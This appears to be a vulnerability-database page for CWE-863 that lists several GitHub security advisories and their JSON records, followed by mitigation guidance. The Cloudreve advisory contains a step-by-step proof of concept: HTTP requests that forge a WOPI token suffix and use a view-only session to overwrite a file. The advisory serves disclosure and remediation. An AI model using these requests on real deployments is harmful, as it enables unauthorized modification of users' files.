CWE-863
Allowed-with-ReviewIncorrect Authorization
Abstraction: Class · Status: Incomplete
The product performs an authorization check when an actor attempts to access a resource or perform an action, but it does not correctly perform the check.
5755 vulnerabilities reference this CWE, most recent first.
GHSA-C3J7-M5HR-8W75
Vulnerability from github – Published: 2026-06-11 12:32 – Updated: 2026-06-11 12:32GitLab has remediated an issue in GitLab CE/EE affecting all versions from 15.10 before 18.10.8, 18.11 before 18.11.5, and 19.0 before 19.0.2 that under certain conditions could have allowed an authenticated user with developer-role permissions to modify hidden merge requests due to incorrect authorization enforcements.
{
"affected": [],
"aliases": [
"CVE-2026-6269"
],
"database_specific": {
"cwe_ids": [
"CWE-863"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-06-11T12:16:32Z",
"severity": "MODERATE"
},
"details": "GitLab has remediated an issue in GitLab CE/EE affecting all versions from 15.10 before 18.10.8, 18.11 before 18.11.5, and 19.0 before 19.0.2 that under certain conditions could have allowed an authenticated user with developer-role permissions to modify hidden merge requests due to incorrect authorization enforcements.",
"id": "GHSA-c3j7-m5hr-8w75",
"modified": "2026-06-11T12:32:45Z",
"published": "2026-06-11T12:32:45Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-6269"
},
{
"type": "WEB",
"url": "https://hackerone.com/reports/3661880"
},
{
"type": "WEB",
"url": "https://about.gitlab.com/releases/2026/06/10/patch-release-gitlab-19-0-2-released"
},
{
"type": "WEB",
"url": "https://gitlab.com/gitlab-org/gitlab/-/work_items/596625"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-C3JM-GV5R-9WCP
Vulnerability from github – Published: 2026-07-24 21:18 – Updated: 2026-07-24 21:18Summary
Cloudreve WOPI access tokens are generated as <session-id>.<random-secret>, but the WOPI middleware validates only the session id prefix and never compares the supplied token to the stored token. In addition, a WOPI viewer session does not store or enforce the requested viewer action. A session created for a view or preview action can still call WOPI write routes if the underlying file is writable by the session user.
Impact
A WOPI integration that is only expected to view a user's file can modify that file through the WOPI write endpoints. If the WOPI URL or session id leaks, the random token suffix does not protect the session because any suffix is accepted for an existing session id.
This affects deployments that configure WOPI viewers for user files. The attacker primitive is strongest when a malicious or compromised WOPI viewer receives a view-only URL and then writes content back to Cloudreve.
Affected version
Verified in source and runtime on latest master commit ba2e870bbd17f1918dd2321de861e453f696d6a3 and latest observed tag 4.16.1.
Technical details
Cloudreve creates WOPI viewer sessions in pkg/filemanager/manager/viewer.go:
sessionID := uuid.Must(uuid.NewV4()).String()
token := util.RandStringRunesCrypto(128)
sessionCache := &ViewerSessionCache{
ID: sessionID,
Uri: file.Uri(false).String(),
UserID: m.user.ID,
ViewerID: viewer.ID,
FileID: file.ID(),
Version: version,
Token: fmt.Sprintf("%s.%s", sessionID, token),
}
The token includes a 128-character random suffix, but middleware.ViewerSessionValidation() only uses the prefix before the dot:
accessToken := strings.Split(c.Query(wopi.AccessTokenQuery), ".")
if len(accessToken) != 2 {
...
}
sessionRaw, exist := store.Get(manager.ViewerSessionCachePrefix + accessToken[0])
The middleware checks that the file id matches the loaded session, but it never compares c.Query("access_token") with session.Token. As a result, <valid-session-id>.anything is accepted.
The WOPI routes are exposed without normal session authentication and rely on this middleware:
wopi := noAuth.Group("file/wopi", middleware.HashID(hashid.FileID), middleware.ViewerSessionValidation())
wopi.GET(":id", controllers.CheckFileInfo)
wopi.GET(":id/contents", controllers.GetFile)
wopi.POST(":id/contents", controllers.PutFile)
wopi.POST(":id", controllers.ModifyFile)
The write routes are not protected by a session-level write check. CreateViewerSessionService accepts preferred_action, but ViewerSessionCache has no action or write-permission field and CreateViewerSession does not persist the chosen action. The requested action is only used to generate the WOPI source URL:
wopiSrc, err := wopi.GenerateWopiSrc(c, s.PreferredAction, targetViewer, viewerSession)
WopiService.PutContent() checks only the underlying filesystem upload capability:
file, err := m.Get(c, uri, dbfs.WithRequiredCapabilities(dbfs.NavigatorCapabilityUploadFile), dbfs.WithNotRoot())
It does not check whether the WOPI session was created for an edit action.
Reproduction
The following sequence was verified against a disposable local Cloudreve instance built from the affected commit.
- Configure a WOPI viewer in Cloudreve.
- Create a user-owned file, for example
cloudreve://my/wopi.txt, containingoriginal content. - Create a viewer session with
preferred_actionset toview:
PUT /api/v4/file/viewerSession HTTP/1.1
Authorization: Bearer <user-token>
Content-Type: application/json
{
"uri": "cloudreve://my/wopi.txt",
"version": "",
"viewer_id": "poc-wopi",
"preferred_action": "view"
}
Observed response:
{
"session": {
"id": "a2d03f1b-e310-4b2a-9baf-38556fa2d5d1",
"access_token": "a2d03f1b-e310-4b2a-9baf-38556fa2d5d1.<128-char-random-secret>"
}
}
- Replace the token suffix with any value:
GET /api/v4/file/wopi/4xc5?access_token=a2d03f1b-e310-4b2a-9baf-38556fa2d5d1.forged_suffix_accepted HTTP/1.1
Observed response: 200 OK. The same request with an unknown session id returned 403 Forbidden, confirming the middleware validates the session id prefix but ignores the secret suffix.
- Use the forged token from the view-created session to read content:
GET /api/v4/file/wopi/4xc5/contents?access_token=a2d03f1b-e310-4b2a-9baf-38556fa2d5d1.forged_suffix_accepted HTTP/1.1
Observed response:
HTTP/1.1 200 OK
Content-Length: 16
Etag: "1bIo"
original content
- Use the same forged token from the view-created session to write content:
POST /api/v4/file/wopi/4xc5/contents?access_token=a2d03f1b-e310-4b2a-9baf-38556fa2d5d1.forged_suffix_accepted HTTP/1.1
X-WOPI-Lock: cloudreve-poc
Content-Type: application/octet-stream
runtime modified via view session forged suffix
Observed response:
HTTP/1.1 200 OK
X-Wopi-Itemversion: nBc0
- Read back the modified file with the forged token:
GET /api/v4/file/wopi/4xc5/contents?access_token=a2d03f1b-e310-4b2a-9baf-38556fa2d5d1.forged_suffix_accepted HTTP/1.1
Observed response:
HTTP/1.1 200 OK
Content-Length: 47
Etag: "nBc0"
runtime modified via view session forged suffix
This proves both authorization failures: the random token suffix is ignored, and a view-created WOPI session can reach the content write sink.
Root cause
Two authorization values are generated or accepted but not enforced:
- The random WOPI token suffix is generated and stored but never compared during WOPI request validation.
- The requested WOPI action is accepted during session creation but not persisted or enforced on WOPI write routes.
Remediation
- Compare the full supplied
access_tokento the storedViewerSessionCache.Tokenusing constant-time comparison. - Reject malformed tokens and tokens with extra separators.
- Store a
CanWriteflag or selected WOPI action inViewerSessionCache. - Enforce that flag on
POST /contents,PUT_RELATIVE,LOCK, and other write operations. - Include session-level write permission when returning WOPI
FileInfofields such asReadOnlyandUserCanWrite.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/cloudreve/Cloudreve/v4"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.0.0-20260626022433-f3347130ac48"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/cloudreve/Cloudreve/v3"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "3.0.0-20250225100611-da4e44b77af4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-62323"
],
"database_specific": {
"cwe_ids": [
"CWE-863"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-24T21:18:41Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "## Summary\n\nCloudreve WOPI access tokens are generated as `\u003csession-id\u003e.\u003crandom-secret\u003e`, but the WOPI middleware validates only the session id prefix and never compares the supplied token to the stored token. In addition, a WOPI viewer session does not store or enforce the requested viewer action. A session created for a view or preview action can still call WOPI write routes if the underlying file is writable by the session user.\n\n## Impact\n\nA WOPI integration that is only expected to view a user\u0027s file can modify that file through the WOPI write endpoints. If the WOPI URL or session id leaks, the random token suffix does not protect the session because any suffix is accepted for an existing session id.\n\nThis affects deployments that configure WOPI viewers for user files. The attacker primitive is strongest when a malicious or compromised WOPI viewer receives a view-only URL and then writes content back to Cloudreve.\n\n## Affected version\n\nVerified in source and runtime on latest master commit `ba2e870bbd17f1918dd2321de861e453f696d6a3` and latest observed tag `4.16.1`.\n\n## Technical details\n\nCloudreve creates WOPI viewer sessions in `pkg/filemanager/manager/viewer.go`:\n\n```go\nsessionID := uuid.Must(uuid.NewV4()).String()\ntoken := util.RandStringRunesCrypto(128)\nsessionCache := \u0026ViewerSessionCache{\n ID: sessionID,\n Uri: file.Uri(false).String(),\n UserID: m.user.ID,\n ViewerID: viewer.ID,\n FileID: file.ID(),\n Version: version,\n Token: fmt.Sprintf(\"%s.%s\", sessionID, token),\n}\n```\n\nThe token includes a 128-character random suffix, but `middleware.ViewerSessionValidation()` only uses the prefix before the dot:\n\n```go\naccessToken := strings.Split(c.Query(wopi.AccessTokenQuery), \".\")\nif len(accessToken) != 2 {\n ...\n}\n\nsessionRaw, exist := store.Get(manager.ViewerSessionCachePrefix + accessToken[0])\n```\n\nThe middleware checks that the file id matches the loaded session, but it never compares `c.Query(\"access_token\")` with `session.Token`. As a result, `\u003cvalid-session-id\u003e.anything` is accepted.\n\nThe WOPI routes are exposed without normal session authentication and rely on this middleware:\n\n```go\nwopi := noAuth.Group(\"file/wopi\", middleware.HashID(hashid.FileID), middleware.ViewerSessionValidation())\nwopi.GET(\":id\", controllers.CheckFileInfo)\nwopi.GET(\":id/contents\", controllers.GetFile)\nwopi.POST(\":id/contents\", controllers.PutFile)\nwopi.POST(\":id\", controllers.ModifyFile)\n```\n\nThe write routes are not protected by a session-level write check. `CreateViewerSessionService` accepts `preferred_action`, but `ViewerSessionCache` has no action or write-permission field and `CreateViewerSession` does not persist the chosen action. The requested action is only used to generate the WOPI source URL:\n\n```go\nwopiSrc, err := wopi.GenerateWopiSrc(c, s.PreferredAction, targetViewer, viewerSession)\n```\n\n`WopiService.PutContent()` checks only the underlying filesystem upload capability:\n\n```go\nfile, err := m.Get(c, uri, dbfs.WithRequiredCapabilities(dbfs.NavigatorCapabilityUploadFile), dbfs.WithNotRoot())\n```\n\nIt does not check whether the WOPI session was created for an edit action.\n\n## Reproduction\n\nThe following sequence was verified against a disposable local Cloudreve instance built from the affected commit.\n\n1. Configure a WOPI viewer in Cloudreve.\n2. Create a user-owned file, for example `cloudreve://my/wopi.txt`, containing `original content`.\n3. Create a viewer session with `preferred_action` set to `view`:\n\n```http\nPUT /api/v4/file/viewerSession HTTP/1.1\nAuthorization: Bearer \u003cuser-token\u003e\nContent-Type: application/json\n\n{\n \"uri\": \"cloudreve://my/wopi.txt\",\n \"version\": \"\",\n \"viewer_id\": \"poc-wopi\",\n \"preferred_action\": \"view\"\n}\n```\n\nObserved response:\n\n```json\n{\n \"session\": {\n \"id\": \"a2d03f1b-e310-4b2a-9baf-38556fa2d5d1\",\n \"access_token\": \"a2d03f1b-e310-4b2a-9baf-38556fa2d5d1.\u003c128-char-random-secret\u003e\"\n }\n}\n```\n\n4. Replace the token suffix with any value:\n\n```http\nGET /api/v4/file/wopi/4xc5?access_token=a2d03f1b-e310-4b2a-9baf-38556fa2d5d1.forged_suffix_accepted HTTP/1.1\n```\n\nObserved response: `200 OK`. The same request with an unknown session id returned `403 Forbidden`, confirming the middleware validates the session id prefix but ignores the secret suffix.\n\n5. Use the forged token from the view-created session to read content:\n\n```http\nGET /api/v4/file/wopi/4xc5/contents?access_token=a2d03f1b-e310-4b2a-9baf-38556fa2d5d1.forged_suffix_accepted HTTP/1.1\n```\n\nObserved response:\n\n```http\nHTTP/1.1 200 OK\nContent-Length: 16\nEtag: \"1bIo\"\n\noriginal content\n```\n\n6. Use the same forged token from the view-created session to write content:\n\n```http\nPOST /api/v4/file/wopi/4xc5/contents?access_token=a2d03f1b-e310-4b2a-9baf-38556fa2d5d1.forged_suffix_accepted HTTP/1.1\nX-WOPI-Lock: cloudreve-poc\nContent-Type: application/octet-stream\n\nruntime modified via view session forged suffix\n```\n\nObserved response:\n\n```http\nHTTP/1.1 200 OK\nX-Wopi-Itemversion: nBc0\n```\n\n7. Read back the modified file with the forged token:\n\n```http\nGET /api/v4/file/wopi/4xc5/contents?access_token=a2d03f1b-e310-4b2a-9baf-38556fa2d5d1.forged_suffix_accepted HTTP/1.1\n```\n\nObserved response:\n\n```http\nHTTP/1.1 200 OK\nContent-Length: 47\nEtag: \"nBc0\"\n\nruntime modified via view session forged suffix\n```\n\nThis proves both authorization failures: the random token suffix is ignored, and a view-created WOPI session can reach the content write sink.\n\n## Root cause\n\nTwo authorization values are generated or accepted but not enforced:\n\n1. The random WOPI token suffix is generated and stored but never compared during WOPI request validation.\n2. The requested WOPI action is accepted during session creation but not persisted or enforced on WOPI write routes.\n\n## Remediation\n\n- Compare the full supplied `access_token` to the stored `ViewerSessionCache.Token` using constant-time comparison.\n- Reject malformed tokens and tokens with extra separators.\n- Store a `CanWrite` flag or selected WOPI action in `ViewerSessionCache`.\n- Enforce that flag on `POST /contents`, `PUT_RELATIVE`, `LOCK`, and other write operations.\n- Include session-level write permission when returning WOPI `FileInfo` fields such as `ReadOnly` and `UserCanWrite`.",
"id": "GHSA-c3jm-gv5r-9wcp",
"modified": "2026-07-24T21:18:41Z",
"published": "2026-07-24T21:18:41Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/cloudreve/cloudreve/security/advisories/GHSA-c3jm-gv5r-9wcp"
},
{
"type": "WEB",
"url": "https://github.com/cloudreve/cloudreve/commit/f3347130ac48f2ff996af9ef66c97be2dda9cba9"
},
{
"type": "PACKAGE",
"url": "https://github.com/cloudreve/cloudreve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "Cloudreve WOPI view sessions can write files and WOPI access token secret is ignored"
}
GHSA-C3MP-9VX3-2RVV
Vulnerability from github – Published: 2022-05-24 17:42 – Updated: 2023-07-11 00:13OpenNMS Meridian 2016, 2017, 2018 before 2018.1.25, 2019 before 2019.1.16, and 2020 before 2020.1.5, Horizon 1.2 through 27.0.4, and Newts <1.5.3 has Incorrect Access Control, which allows local and remote code execution using JEXL expressions.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 27.0.3"
},
"package": {
"ecosystem": "Maven",
"name": "org.opennms:opennms"
},
"ranges": [
{
"events": [
{
"introduced": "16.0.0"
},
{
"fixed": "27.0.4"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 27.0.3"
},
"package": {
"ecosystem": "Maven",
"name": "org.opennms.features:org.opennms.features.measurements"
},
"ranges": [
{
"events": [
{
"introduced": "16.0.0"
},
{
"fixed": "27.0.4"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 27.0.3"
},
"package": {
"ecosystem": "Maven",
"name": "org.opennms:opennms-provision"
},
"ranges": [
{
"events": [
{
"introduced": "16.0.0"
},
{
"fixed": "27.0.4"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 27.0.3"
},
"package": {
"ecosystem": "Maven",
"name": "org.opennms:opennms-util"
},
"ranges": [
{
"events": [
{
"introduced": "16.0.0"
},
{
"fixed": "27.0.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2021-3396"
],
"database_specific": {
"cwe_ids": [
"CWE-863"
],
"github_reviewed": true,
"github_reviewed_at": "2023-07-11T00:13:01Z",
"nvd_published_at": "2021-02-17T21:15:00Z",
"severity": "HIGH"
},
"details": "OpenNMS Meridian 2016, 2017, 2018 before 2018.1.25, 2019 before 2019.1.16, and 2020 before 2020.1.5, Horizon 1.2 through 27.0.4, and Newts \u003c1.5.3 has Incorrect Access Control, which allows local and remote code execution using JEXL expressions.",
"id": "GHSA-c3mp-9vx3-2rvv",
"modified": "2023-07-11T00:13:01Z",
"published": "2022-05-24T17:42:35Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-3396"
},
{
"type": "WEB",
"url": "https://github.com/OpenNMS/opennms/pull/3281"
},
{
"type": "WEB",
"url": "https://issues.opennms.org/browse/NMS-13103"
},
{
"type": "WEB",
"url": "https://www.opennms.com/en/blog/2021-02-16-cve-2021-3396-full-security-disclosure"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "OpenNMS Horizon RCE via JEXL2 expression"
}
GHSA-C3WC-HVMQ-XMP6
Vulnerability from github – Published: 2022-08-11 00:00 – Updated: 2022-08-16 00:00VMware vRealize Operations contains an authentication bypass vulnerability. An unauthenticated malicious actor with network access may be able to create a user with administrative privileges.
{
"affected": [],
"aliases": [
"CVE-2022-31675"
],
"database_specific": {
"cwe_ids": [
"CWE-863"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-08-10T20:15:00Z",
"severity": "HIGH"
},
"details": "VMware vRealize Operations contains an authentication bypass vulnerability. An unauthenticated malicious actor with network access may be able to create a user with administrative privileges.",
"id": "GHSA-c3wc-hvmq-xmp6",
"modified": "2022-08-16T00:00:24Z",
"published": "2022-08-11T00:00:18Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-31675"
},
{
"type": "WEB",
"url": "https://www.vmware.com/security/advisories/VMSA-2022-0022.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-C445-XM3F-HMFH
Vulnerability from github – Published: 2022-05-24 17:28 – Updated: 2022-12-29 01:35Health Advisor by CloudBees Plugin 3.2.0 and earlier does not correctly perform a permission check in an HTTP endpoint.
This allows attackers with Overall/Read permission to view an administrative configuration page.
Health Advisor by CloudBees Plugin 3.2.1 requires Overall/Administer to view its administrative configuration page.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.2.0"
},
"package": {
"ecosystem": "Maven",
"name": "org.jenkins-ci.plugins:cloudbees-jenkins-advisor"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.2.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2020-2258"
],
"database_specific": {
"cwe_ids": [
"CWE-863"
],
"github_reviewed": true,
"github_reviewed_at": "2022-12-29T01:35:38Z",
"nvd_published_at": "2020-09-16T14:15:00Z",
"severity": "MODERATE"
},
"details": "Health Advisor by CloudBees Plugin 3.2.0 and earlier does not correctly perform a permission check in an HTTP endpoint.\n\nThis allows attackers with Overall/Read permission to view an administrative configuration page.\n\nHealth Advisor by CloudBees Plugin 3.2.1 requires Overall/Administer to view its administrative configuration page.",
"id": "GHSA-c445-xm3f-hmfh",
"modified": "2022-12-29T01:35:38Z",
"published": "2022-05-24T17:28:25Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-2258"
},
{
"type": "WEB",
"url": "https://github.com/jenkinsci/cloudbees-jenkins-advisor-plugin/commit/90f693a4b9fc60292463ecd7aa06c2c53d9dea30"
},
{
"type": "PACKAGE",
"url": "https://github.com/jenkinsci/cloudbees-jenkins-advisor-plugin"
},
{
"type": "WEB",
"url": "https://www.jenkins.io/security/advisory/2020-09-16/#SECURITY-1998"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2020/09/16/3"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Incorrect permission check in Health Advisor by CloudBees Plugin"
}
GHSA-C472-R2Q4-4QPM
Vulnerability from github – Published: 2024-03-14 03:31 – Updated: 2025-05-09 21:31In Delinea PAM Secret Server 11.4, it is possible for a user (with access to the Report functionality) to gain unauthorized access to remote sessions created by legitimate users.
{
"affected": [],
"aliases": [
"CVE-2024-25652"
],
"database_specific": {
"cwe_ids": [
"CWE-287",
"CWE-863"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-03-14T03:15:08Z",
"severity": "CRITICAL"
},
"details": "In Delinea PAM Secret Server 11.4, it is possible for a user (with access to the Report functionality) to gain unauthorized access to remote sessions created by legitimate users.",
"id": "GHSA-c472-r2q4-4qpm",
"modified": "2025-05-09T21:31:07Z",
"published": "2024-03-14T03:31:15Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-25652"
},
{
"type": "WEB",
"url": "https://docs.delinea.com/online-help/secret-server/admin/unlimited-administration-mode/index.htm?Highlight=unlimited%20admin"
},
{
"type": "WEB",
"url": "https://docs.delinea.com/online-help/secret-server/release-notes/ssc-rn-2024-02-10.htm"
},
{
"type": "WEB",
"url": "https://trust.delinea.com"
},
{
"type": "WEB",
"url": "https://www.cvcn.gov.it/cvcn/cve/CVE-2024-25652"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-C487-GPMP-P2V9
Vulnerability from github – Published: 2023-12-05 00:31 – Updated: 2024-08-01 15:31An Insecure Credential Management issue discovered in Connectize AC21000 G6 641.139.1.1256 allows attackers to gain escalated privileges via use of weak hashing algorithm.
{
"affected": [],
"aliases": [
"CVE-2023-24047"
],
"database_specific": {
"cwe_ids": [
"CWE-522",
"CWE-863"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-12-04T23:15:23Z",
"severity": "MODERATE"
},
"details": "An Insecure Credential Management issue discovered in Connectize AC21000 G6 641.139.1.1256 allows attackers to gain escalated privileges via use of weak hashing algorithm.",
"id": "GHSA-c487-gpmp-p2v9",
"modified": "2024-08-01T15:31:25Z",
"published": "2023-12-05T00:31:07Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-24047"
},
{
"type": "WEB",
"url": "https://research.nccgroup.com/2023/10/19/technical-advisory-multiple-vulnerabilities-in-connectize-g6-ac2100-dual-band-gigabit-wifi-router-cve-2023-24046-cve-2023-24047-cve-2023-24048-cve-2023-24049-cve-2023-24050-cve-2023-24051-cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:A/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-C4M9-C23M-M88F
Vulnerability from github – Published: 2023-07-06 21:15 – Updated: 2024-04-04 05:48SGUDA U-Lock central lock control service’s lock management function has incorrect authorization. A remote attacker with general privilege can exploit this vulnerability to call privileged APIs to acquire information, manipulate or disrupt the functionality of arbitrary electronic locks.
{
"affected": [],
"aliases": [
"CVE-2022-46307"
],
"database_specific": {
"cwe_ids": [
"CWE-863"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-06-02T11:15:09Z",
"severity": "HIGH"
},
"details": "SGUDA U-Lock central lock control service\u2019s lock management function has incorrect authorization. A remote attacker with general privilege can exploit this vulnerability to call privileged APIs to acquire information, manipulate or disrupt the functionality of arbitrary electronic locks.",
"id": "GHSA-c4m9-c23m-m88f",
"modified": "2024-04-04T05:48:48Z",
"published": "2023-07-06T21:15:07Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-46307"
},
{
"type": "WEB",
"url": "https://www.twcert.org.tw/tw/cp-132-7099-e8897-1.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-C4P6-QG4M-9JMR
Vulnerability from github – Published: 2025-12-22 20:08 – Updated: 2025-12-23 16:01Impact
An Arbitrary File Read vulnerability has been identified in KEDA, potentially affecting any KEDA resource that uses TriggerAuthentication to configure HashiCorp Vault authentication.
The vulnerability stems from an incorrect or insufficient path validation when loading the Service Account Token specified in spec.hashiCorpVault.credential.serviceAccount.
An attacker with permissions to create or modify a TriggerAuthentication resource can exfiltrate the content of any file from the node's filesystem (where the KEDA pod resides) by directing the file's content to a server under their control, as part of the Vault authentication request.
The potential impact includes the exfiltration of sensitive system information, such as secrets, keys, or the content of files like /etc/passwd.
Patches
The problem has been patched in v2.17.3 and 2.18.3 as well as in main branch.
Workarounds
The only effective workaround is the strict restriction of permissions for creating and modifying TriggerAuthentication resources within the Kubernetes cluster.
Only trusted and authorized users should have create or update permissions on the TriggerAuthentication resource.
This limits an attacker's ability to configure a malicious TriggerAuthentication with an arbitrary path.
Is my project affected?
If it execute s
kubectl get deploy keda-operator -n keda -o jsonpath="{.spec.template.spec.containers[0].image}"
and the version is not 2.17.3, 2.18.3 or >= 2.19.0, that version is affected.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/kedacore/keda/v2"
},
"ranges": [
{
"events": [
{
"introduced": "2.18.0"
},
{
"fixed": "2.18.3"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/kedacore/keda/v2"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.17.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-68476"
],
"database_specific": {
"cwe_ids": [
"CWE-22",
"CWE-863"
],
"github_reviewed": true,
"github_reviewed_at": "2025-12-22T20:08:24Z",
"nvd_published_at": "2025-12-22T22:16:09Z",
"severity": "HIGH"
},
"details": "### Impact\nAn Arbitrary File Read vulnerability has been identified in KEDA, potentially affecting any KEDA resource that uses TriggerAuthentication to configure HashiCorp Vault authentication.\n\nThe vulnerability stems from an incorrect or insufficient path validation when loading the Service Account Token specified in spec.hashiCorpVault.credential.serviceAccount.\n\nAn attacker with permissions to create or modify a TriggerAuthentication resource can exfiltrate the content of any file from the node\u0027s filesystem (where the KEDA pod resides) by directing the file\u0027s content to a server under their control, as part of the Vault authentication request.\n\nThe potential impact includes the exfiltration of sensitive system information, such as secrets, keys, or the content of files like /etc/passwd.\n\n### Patches\nThe problem has been patched in v2.17.3 and 2.18.3 as well as in main branch.\n\n### Workarounds\nThe only effective workaround is the strict restriction of permissions for creating and modifying TriggerAuthentication resources within the Kubernetes cluster.\n\nOnly trusted and authorized users should have create or update permissions on the TriggerAuthentication resource.\n\nThis limits an attacker\u0027s ability to configure a malicious TriggerAuthentication with an arbitrary path.\n\n### Is my project affected?\nIf it execute s\n```bash\nkubectl get deploy keda-operator -n keda -o jsonpath=\"{.spec.template.spec.containers[0].image}\"\n```\nand the version is not 2.17.3, 2.18.3 or \u003e= 2.19.0, that version is affected.",
"id": "GHSA-c4p6-qg4m-9jmr",
"modified": "2025-12-23T16:01:17Z",
"published": "2025-12-22T20:08:24Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/kedacore/keda/security/advisories/GHSA-c4p6-qg4m-9jmr"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-68476"
},
{
"type": "WEB",
"url": "https://github.com/kedacore/keda/commit/15c5677f65f809b9b6b59a52f4cf793db0a510fd"
},
{
"type": "PACKAGE",
"url": "https://github.com/kedacore/keda"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "KEDA has Arbitrary File Read via Insufficient Path Validation in HashiCorp Vault Service Account Credential"
}
GHSA-C4PP-F6G5-6WX8
Vulnerability from github – Published: 2022-05-24 19:15 – Updated: 2022-05-24 19:15Unauthorized information security disclosure vulnerability on Micro Focus Directory and Resource Administrator (DRA) product, affecting all DRA versions prior to 10.1 Patch 1. The vulnerability could lead to unauthorized information disclosure.
{
"affected": [],
"aliases": [
"CVE-2021-22535"
],
"database_specific": {
"cwe_ids": [
"CWE-863"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-09-28T14:15:00Z",
"severity": "MODERATE"
},
"details": "Unauthorized information security disclosure vulnerability on Micro Focus Directory and Resource Administrator (DRA) product, affecting all DRA versions prior to 10.1 Patch 1. The vulnerability could lead to unauthorized information disclosure.",
"id": "GHSA-c4pp-f6g5-6wx8",
"modified": "2022-05-24T19:15:59Z",
"published": "2022-05-24T19:15:59Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-22535"
},
{
"type": "WEB",
"url": "https://support.microfocus.com/kb/doc.php?id=7025273"
}
],
"schema_version": "1.4.0",
"severity": []
}
Mitigation
- Divide the product into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) [REF-229] to enforce the roles at the appropriate boundaries.
- Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.
Mitigation
Ensure that access control checks are performed related to the business logic. These checks may be different than the access control checks that are applied to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor [REF-7].
Mitigation MIT-4.4
Strategy: Libraries or Frameworks
- Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
- For example, consider using authorization frameworks such as the JAAS Authorization Framework [REF-233] and the OWASP ESAPI Access Control feature [REF-45].
Mitigation
